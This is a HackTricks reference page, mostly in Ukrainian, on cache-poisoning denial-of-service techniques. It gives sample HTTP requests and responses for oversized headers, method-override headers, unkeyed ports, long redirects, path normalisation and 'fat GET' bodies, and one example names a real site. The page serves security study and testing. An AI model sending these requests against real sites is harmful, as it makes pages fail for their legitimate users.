Cache Poisoning to DoS
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
caution
На цій сторінці ви можете знайти різні варіації, щоб змусити веб-сервер відповідати з помилками на запити, які є допустимими для кеш-серверів
- HTTP Header Oversize (HHO)
Відправте запит з розміром заголовка, більшим за той, що підтримується веб-сервером, але меншим за той, що підтримується кеш-сервером. Веб-сервер відповість з кодом 400, який може бути кешований:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Character (HMC) & Unexpected values
Відправте заголовок, що містить деякі шкідливі мета-символи, такі як і . Щоб атака спрацювала, спочатку потрібно обійти кеш.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Погано налаштований заголовок може бути просто \:
як заголовок.
Це також може спрацювати, якщо надсилаються несподівані значення, такі як несподіваний Content-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Unkeyed header
Деякі веб-сайти повернуть код статусу помилки, якщо вони побачать деякі специфічні заголовки в запиті, як-от заголовок X-Amz-Website-Location-Redirect: someThing:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Method Override Attack (HMO)
Якщо сервер підтримує зміну HTTP-методу за допомогою заголовків, таких як X-HTTP-Method-Override
, X-HTTP-Method
або X-Method-Override
, можливо запитати дійсну сторінку, змінюючи метод, так що сервер не підтримує його, і тому погана відповідь кешується:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Unkeyed Port
Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Як у наступному прикладі, x не кешується, тому зловмисник може зловживати поведінкою відповіді перенаправлення, щоб зробити так, щоб перенаправлення відправляло URL, який настільки великий, що повертає помилку. Тоді люди, які намагаються отримати доступ до URL без некешованого ключа x, отримають відповідь з помилкою:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Нормалізація регістру заголовка хоста
Заголовок хоста повинен бути нечутливим до регістру, але деякі веб-сайти очікують, що він буде в нижньому регістрі, повертаючи помилку, якщо це не так:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Нормалізація шляху
Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шляху та зберігає відповідь для URLdecoded шляху:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Деякі кеш-сервери, такі як Cloudflare, або веб-сервери, зупиняють GET-запити з тілом, тому це може бути використано для кешування недійсної відповіді:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Посилання
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.